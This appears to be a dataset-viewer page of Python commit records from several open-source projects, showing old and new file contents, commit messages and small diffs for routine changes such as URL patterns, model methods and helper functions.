| Python | mit | andrewmichaelsmith/manuka,g1eagle/E-Pot | ---
+++
@@ -19,7 +19,6 @@
print "Please choose a network interface to run the honeypot on:\r\n"
i = 0
-
for ifaces in netifaces.interfaces():
print "\t[",i,"]",ifaces,"(",netifaces.ifaddresses(ifaces)[netifaces.AF_INET],")"
i = i+1
@@ -30,4 +29,8 @@
while(not found):
found=select_iface(raw_input(... |
45a319f4bf4ae310a2299b58cf8a3f907fdb7f3c | receipt_tracker/urls.py | receipt_tracker/urls.py | """receipt_tracker URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.10/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
... | """receipt_tracker URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.10/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
... | Disable static to get something running | Disable static to get something running | Python | agpl-3.0 | openreceipts/openreceipts-server,openreceipts/openreceipts-server,openreceipts/openreceipts-server | ---
+++
@@ -24,5 +24,5 @@
url(r'^', include('core.urls')),
]
-urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT) + static(settings.MEDIA_URL,
+#urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT) + static(settings.MEDIA_URL,
... |
0c2374c11c83c10fc67fd283abf699d7becb4311 | app/event/erase_basic/step_settings.py | app/event/erase_basic/step_settings.py | step = {
'@type': {
'type': 'string',
'allowed': ['Zero', 'Random'],
'required': True
},
'success': {
'type': 'boolean',
'required': True
},
'startingTime': {
'type': 'datetime'
},
'endingTime': {
'type': 'datetime'
}
}
| step = {
'@type': {
'type': 'string',
'allowed': ['Zeros', 'Random'],
'required': True
},
'success': {
'type': 'boolean',
'required': True
},
'startingTime': {
'type': 'datetime'
},
'endingTime': {
'type': 'datetime'
}
}
| Change EraseBasic's step type from 'Zero' to 'Zeros' | Change EraseBasic's step type from 'Zero' to 'Zeros'
| Python | agpl-3.0 | eReuse/DeviceHub,eReuse/DeviceHub | ---
+++
@@ -1,7 +1,7 @@
step = {
'@type': {
'type': 'string',
- 'allowed': ['Zero', 'Random'],
+ 'allowed': ['Zeros', 'Random'],
'required': True
},
'success': { |
02a95bafbcf739cef6306cdd0d785743f2dd7370 | saleor/product/management/commands/populatedb.py | saleor/product/management/commands/populatedb.py | from django.core.management.base import BaseCommand
from django.db import IntegrityError
from utils.create_random_data import create_items, create_users, create_orders
from saleor.userprofile.models import User
class Command(BaseCommand):
help = 'Populate database with test objects'
placeholders_dir = r'sal... | from django.core.management.base import BaseCommand
from utils.create_random_data import create_items, create_users, create_orders
from saleor.userprofile.models import User
class Command(BaseCommand):
help = 'Populate database with test objects'
placeholders_dir = r'saleor/static/placeholders/'
def ad... | Use get_or_create instead of catching exception | Use get_or_create instead of catching exception
| Python | bsd-3-clause | HyperManTT/ECommerceSaleor,car3oon/saleor,car3oon/saleor,laosunhust/saleor,spartonia/saleor,UITools/saleor,KenMutemi/saleor,tfroehlich82/saleor,tfroehlich82/saleor,car3oon/saleor,HyperManTT/ECommerceSaleor,tfroehlich82/saleor,itbabu/saleor,maferelo/saleor,laosunhust/saleor,laosunhust/saleor,laosunhust/saleor,maferelo/s... | ---
+++
@@ -1,5 +1,4 @@
from django.core.management.base import BaseCommand
-from django.db import IntegrityError
from utils.create_random_data import create_items, create_users, create_orders
@@ -28,11 +27,14 @@
if options['createsuperuser']:
credentials = {'email': 'admin@example.com',... |
f5baf5aab4570f54e686ecf6c69f5100bf077d8b | openstack_dashboard/fiware_oauth2/urls.py | openstack_dashboard/fiware_oauth2/urls.py | # Copyright (C) 2014 Universidad Politecnica de Madrid
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... | # Copyright (C) 2014 Universidad Politecnica de Madrid
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... | Fix URL pattern for validating OAuth2 tokens | Fix URL pattern for validating OAuth2 tokens
| Python | apache-2.0 | ging/horizon,ging/horizon,ging/horizon,ging/horizon | ---
+++
@@ -29,6 +29,6 @@
name='fiware_oauth2_cancel_authorize'),
url(r"^oauth2/token$", views.AccessTokenView.as_view(),
name='fiware_oauth2_access_token'),
- url(r"^user", views.UserInfoView.as_view(),
+ url(r"^user$", views.UserInfoView.as_view... |
8562a58501aaa3f53a6aef5a0c1fab60aafb7c61 | scuole/states/models.py | scuole/states/models.py | # -*- coding: utf-8 -*-
from __future__ import absolute_import, unicode_literals
from localflavor.us.models import USStateField
from django.contrib.gis.db import models
from django.utils.encoding import python_2_unicode_compatible
from scuole.core.models import PersonnelBase
from scuole.stats.models import SchoolYea... | # -*- coding: utf-8 -*-
from __future__ import absolute_import, unicode_literals
from localflavor.us.models import USStateField
from django.contrib.gis.db import models
from django.utils.encoding import python_2_unicode_compatible
from scuole.core.models import PersonnelBase
from scuole.stats.models import SchoolYea... | Add get_absolute_url to State model | Add get_absolute_url to State model
| Python | mit | texastribune/scuole,texastribune/scuole,texastribune/scuole,texastribune/scuole | ---
+++
@@ -21,6 +21,12 @@
def __str__(self):
return self.name
+ def get_absolute_url(self):
+ from django.core.urlresolvers import reverse
+ return reverse('states:detail', kwargs={
+ 'slug': self.slug,
+ })
+
@python_2_unicode_compatible
class StateStats(StatsB... |
570a4911f0babf884fa57b4509957bd94fc790ed | moita/pipelines.py | moita/pipelines.py | # -*- coding: utf-8 -*-
import json
from collections import defaultdict
from datetime import datetime
from unidecode import unidecode
from .items import Subject
from .spiders.cagr import SEMESTER
# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: http://doc.s... | # -*- coding: utf-8 -*-
import json
from collections import defaultdict
from datetime import datetime
from unidecode import unidecode
from .items import Subject
from .spiders.cagr import SEMESTER
# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: http://doc.s... | Add date at the end | Add date at the end
| Python | mit | ranisalt/moita-ufsc-crawler | ---
+++
@@ -25,9 +25,6 @@
data = defaultdict(list)
time_format = '{}.{}-{} / {}'
- def open_spider(self, spider):
- self.data['DATA'] = datetime.now().strftime('%d/%m/%y - %H:%M')
-
def process_item(self, item: Subject, spider):
norm = unidecode(item['name']).upper()
subje... |
85be415a27d23951f5ee943710ea3d22571aa697 | mollie/api/objects/list.py | mollie/api/objects/list.py | from .base import Base
class List(Base):
current = None
def __init__(self, result, object_type):
Base.__init__(self, result)
self.object_type = object_type
def get_object_name(self):
return self.object_type.__name__.lower() + 's'
def __iter__(self):
"""Implement iter... | from .base import Base
class List(Base):
current = None
def __init__(self, result, object_type):
Base.__init__(self, result)
self.object_type = object_type
def get_object_name(self):
return self.object_type.__name__.lower() + 's'
def __iter__(self):
"""Implement iter... | Add proxy method for python2 iterator support | Add proxy method for python2 iterator support
| Python | bsd-2-clause | mollie/mollie-api-python | ---
+++
@@ -28,6 +28,8 @@
except IndexError:
raise StopIteration
+ next = __next__ # support python2 iterator interface
+
@property
def count(self):
if 'count' not in self: |
1994a59d3ae9d3f24445f11f3bc0dd3089042bc4 | main.py | main.py | from order import Order
from orderbook import OrderBook
from client import FinanceClient
from ordermanager import OrderManager
from strategy import Vanilla, Strawberry
import sys
# local server for finance data
host_ip, server_port = "localhost", 9995
def main():
"""
Turn on the FinanceServer
- fetch data... | from order import Order
from orderbook import OrderBook
from client import FinanceClient
from ordermanager import OrderManager
from strategy import Vanilla, Strawberry
import sys
# local server for finance data
host_ip, server_port = "localhost", 9995
def main():
"""
Turn on the FinanceServer
- fetch data... | Use modify with the orderbook | Use modify with the orderbook
| Python | mit | albhu/finance | ---
+++
@@ -27,7 +27,7 @@
strategy = Strawberry()
else:
print('strategies available: Vanilla or Strawberry')
-
+
print(strategy.name, strategy.description)
for line in client.fetch():
@@ -36,7 +36,10 @@
book = books.get(order.symbol)
if book is None... |
67ea74ac57712ba963530845b566c62d7c5307dc | recaptcha_comments/forms.py | recaptcha_comments/forms.py | from django.contrib.comments.forms import CommentForm
from recaptcha_comments.fields import RecaptchaField
class RecaptchaCommentForm(CommentForm):
captcha = RecaptchaField()
def clean_captcha(self):
if not 'preview' in self.data:
captcha_data = self.cleaned_data['captcha']
ret... | from django.contrib.comments.forms import CommentForm
from recaptcha_comments.fields import RecaptchaField
class RecaptchaCommentForm(CommentForm):
captcha = RecaptchaField()
def clean_captcha(self):
if not 'preview' in self.data:
captcha_data = self.cleaned_data['captcha']
ret... | Fix a flow issue (long standing bug) | Fix a flow issue (long standing bug)
| Python | mit | theju/django-comments-apps | ---
+++
@@ -8,3 +8,4 @@
if not 'preview' in self.data:
captcha_data = self.cleaned_data['captcha']
return self.fields['captcha'].verify(captcha_data)
+ return self.cleaned_data['captcha'] |
01a012bf37c438c845e4962ffa6f1c0e1e2723f4 | netmiko/cisco/cisco_ios.py | netmiko/cisco/cisco_ios.py | from __future__ import unicode_literals
from netmiko.cisco_base_connection import CiscoSSHConnection
from netmiko.cisco_base_connection import CiscoTelnetConnection
class CiscoIosSSH(CiscoSSHConnection):
"""Cisco IOS SSH driver."""
def session_preparation(self):
"""Prepare the session after the conne... | from __future__ import unicode_literals
from netmiko.cisco_base_connection import CiscoSSHConnection
from netmiko.cisco_base_connection import CiscoTelnetConnection
class CiscoIosSSH(CiscoSSHConnection):
"""Cisco IOS SSH driver."""
@staticmethod
def autodetect(session):
"""
"""
m... | Add autodetect for Cisco IOS | Add autodetect for Cisco IOS
| Python | mit | fooelisa/netmiko,ktbyers/netmiko,ktbyers/netmiko,isidroamv/netmiko,isidroamv/netmiko,fooelisa/netmiko | ---
+++
@@ -6,6 +6,21 @@
class CiscoIosSSH(CiscoSSHConnection):
"""Cisco IOS SSH driver."""
+
+ @staticmethod
+ def autodetect(session):
+ """
+ """
+ matches = ["Cisco IOS Software", "Cisco Internetwork Operating System Software"]
+ try:
+ response = session.send_... |
424f6c8c1c4b65e04196a568cfe56b77265aa063 | kobo/apps/external_integrations/models.py | kobo/apps/external_integrations/models.py | # coding: utf-8
from django.db import models
from django.utils.translation import ugettext_lazy as _
def _set_cors_field_options(name, bases, attrs):
cls = type(name, bases, attrs)
# The `cors` field is already defined by `AbstractCorsModel`, but let's
# help folks out by giving it a more descriptive name... | # coding: utf-8
from django.db import models
from django.utils.translation import ugettext_lazy as _
class CorsModel(models.Model):
"""
A model with one field, `cors`, which specifies an allowed origin that must
exactly match `request.META.get('HTTP_ORIGIN')`
"""
cors = models.CharField(
... | Simplify CORS model and improve wording | Simplify CORS model and improve wording
| Python | agpl-3.0 | kobotoolbox/kpi,kobotoolbox/kpi,kobotoolbox/kpi,kobotoolbox/kpi,kobotoolbox/kpi | ---
+++
@@ -3,24 +3,21 @@
from django.utils.translation import ugettext_lazy as _
-def _set_cors_field_options(name, bases, attrs):
- cls = type(name, bases, attrs)
- # The `cors` field is already defined by `AbstractCorsModel`, but let's
- # help folks out by giving it a more descriptive name and help ... |
d27ded9fb8c833b2f21fedade5cbef9ab831453e | src/ggrc/models/hooks/comment.py | src/ggrc/models/hooks/comment.py | # Copyright (C) 2016 Google Inc.
# Licensed under http://www.apache.org/licenses/LICENSE-2.0 <see LICENSE file>
"""A module with Comment object creation hooks"""
from ggrc import db
from ggrc.login import get_current_user_id
from ggrc.models.all_models import Comment, ObjectOwner
from ggrc.services.common import Reso... | # Copyright (C) 2016 Google Inc.
# Licensed under http://www.apache.org/licenses/LICENSE-2.0 <see LICENSE file>
"""A module with Comment object creation hooks"""
from ggrc import db
from ggrc.login import get_current_user_id
from ggrc.models.all_models import Comment, ObjectOwner
from ggrc.services.common import Reso... | Fix creating revisions of ObjectOwner of Comment | Fix creating revisions of ObjectOwner of Comment
| Python | apache-2.0 | josthkko/ggrc-core,AleksNeStu/ggrc-core,andrei-karalionak/ggrc-core,kr41/ggrc-core,j0gurt/ggrc-core,kr41/ggrc-core,selahssea/ggrc-core,plamut/ggrc-core,j0gurt/ggrc-core,kr41/ggrc-core,plamut/ggrc-core,selahssea/ggrc-core,j0gurt/ggrc-core,AleksNeStu/ggrc-core,josthkko/ggrc-core,AleksNeStu/ggrc-core,josthkko/ggrc-core,j0... | ---
+++
@@ -11,28 +11,17 @@
def init_hook():
"""Initialize all hooks"""
+ # pylint: disable=unused-variable
- # pylint: disable=unused-variable
- @Resource.model_posted_after_commit.connect_via(Comment)
- def handle_comment_post(sender, obj=None, src=None, service=None):
- """Save information on which ... |
c20482f8c9c20b4d934e16a583697e2f8f520553 | yesimeanit/showoff/newsletter_subscriptions/forms.py | yesimeanit/showoff/newsletter_subscriptions/forms.py | from django import forms
from django.utils.translation import ugettext_lazy as _
from .models import NewsletterSubscription
class SubscribtionForm(forms.ModelForm):
class Meta:
model = NewsletterSubscription
fields = ('salutation', 'first_name', 'last_name', 'email')
def clean_email(self):
... | from django import forms
from django.utils.translation import ugettext_lazy as _
from .models import NewsletterSubscription
class SubscribtionForm(forms.ModelForm):
salutation = forms.ChoiceField(choices=NewsletterSubscription.SALUTATION_CHOICES,
required=False, label=_('salutation'), widget=forms.RadioS... | Customize salutation form field a bit | Customize salutation form field a bit
| Python | bsd-3-clause | guetux/django-yesimeanit | ---
+++
@@ -5,6 +5,9 @@
class SubscribtionForm(forms.ModelForm):
+ salutation = forms.ChoiceField(choices=NewsletterSubscription.SALUTATION_CHOICES,
+ required=False, label=_('salutation'), widget=forms.RadioSelect)
+
class Meta:
model = NewsletterSubscription
fields = ('salutati... |
dcf0ee630a20b413d2212c3d3ae19ce4008a33fe | openacademy/model/openacademy_course.py | openacademy/model/openacademy_course.py | from openerp import models, fields
'''
This module create module of Courso
'''
class Course(models.Model):
'''
This class create module of Course
'''
_name = 'openacademy.course' # Model odoo name
name = fields.Char(string='Title', required=True) # Field reserved to identified name rec
... | from openerp import api, models, fields
'''
This module create module of Courso
'''
class Course(models.Model):
'''
This class create module of Course
'''
_name = 'openacademy.course' # Model odoo name
name = fields.Char(string='Title', required=True) # Field reserved to identified name rec... | Modify copy method into inherit | [REF] openacademy: Modify copy method into inherit
| Python | apache-2.0 | Hiregui92/openacademy-project | ---
+++
@@ -1,4 +1,4 @@
-from openerp import models, fields
+from openerp import api, models, fields
'''
This module create module of Courso
@@ -28,3 +28,17 @@
'UNIQUE(name)',
"The course title must be unique"),
]
+
+ @api.one
+ def copy(self, default=None):
+ default = dict... |
9f97f232a23dab38736e487bd69377b977dff752 | candidates/tests/test_feeds.py | candidates/tests/test_feeds.py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django_webtest import WebTest
from .auth import TestUserMixin
from ..models import LoggedAction
class TestFeeds(TestUserMixin, WebTest):
def setUp(self):
self.action1 = LoggedAction.objects.create(
user=self.user,
... | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django_webtest import WebTest
from popolo.models import Person
from .auth import TestUserMixin
from ..models import LoggedAction
class TestFeeds(TestUserMixin, WebTest):
def setUp(self):
self.person1 = Person.objects.create(
... | Update feed tests to use a person object when creating LoggedAction | Update feed tests to use a person object when creating LoggedAction
Otherwise the notification signal attached to LoggedAction for the
alerts throws an error as it expects a Person to exist
| Python | agpl-3.0 | DemocracyClub/yournextrepresentative,mysociety/yournextrepresentative,neavouli/yournextrepresentative,neavouli/yournextrepresentative,mysociety/yournextrepresentative,mysociety/yournextrepresentative,DemocracyClub/yournextrepresentative,mysociety/yournextmp-popit,mysociety/yournextmp-popit,mysociety/yournextmp-popit,ne... | ---
+++
@@ -4,17 +4,24 @@
from django_webtest import WebTest
+from popolo.models import Person
from .auth import TestUserMixin
from ..models import LoggedAction
class TestFeeds(TestUserMixin, WebTest):
def setUp(self):
+ self.person1 = Person.objects.create(
+ name='Test Person1'
+ ... |
49997f92f8f62a1fc259c0285d386887a399ba0e | pycroft/helpers/utc.py | pycroft/helpers/utc.py | from typing import NewType
from datetime import datetime, time, timezone, date
TimeTz = NewType('TimeTz', time)
DateTimeTz = NewType('DateTimeTz', datetime)
DateTimeNoTz = NewType('DateTimeNoTz', datetime)
def time_min() -> TimeTz:
return time.min.replace(tzinfo=timezone.utc)
def time_max() -> TimeTz:
ret... | from typing import NewType, Optional
from datetime import datetime, time, timezone, date
TimeTz = NewType('TimeTz', time)
DateTimeTz = NewType('DateTimeTz', datetime)
DateTimeNoTz = NewType('DateTimeNoTz', datetime)
def time_min() -> TimeTz:
return time.min.replace(tzinfo=timezone.utc)
def time_max() -> TimeT... | Introduce many strictly typed datetime helper functions | Introduce many strictly typed datetime helper functions
| Python | apache-2.0 | agdsn/pycroft,agdsn/pycroft,agdsn/pycroft,agdsn/pycroft,agdsn/pycroft | ---
+++
@@ -1,4 +1,4 @@
-from typing import NewType
+from typing import NewType, Optional
from datetime import datetime, time, timezone, date
@@ -21,3 +21,31 @@
def datetime_max() -> DateTimeTz:
return datetime.max.replace(tzinfo=timezone.utc)
+
+
+def with_min_time(d: date) -> DateTimeTz:
+ return Da... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.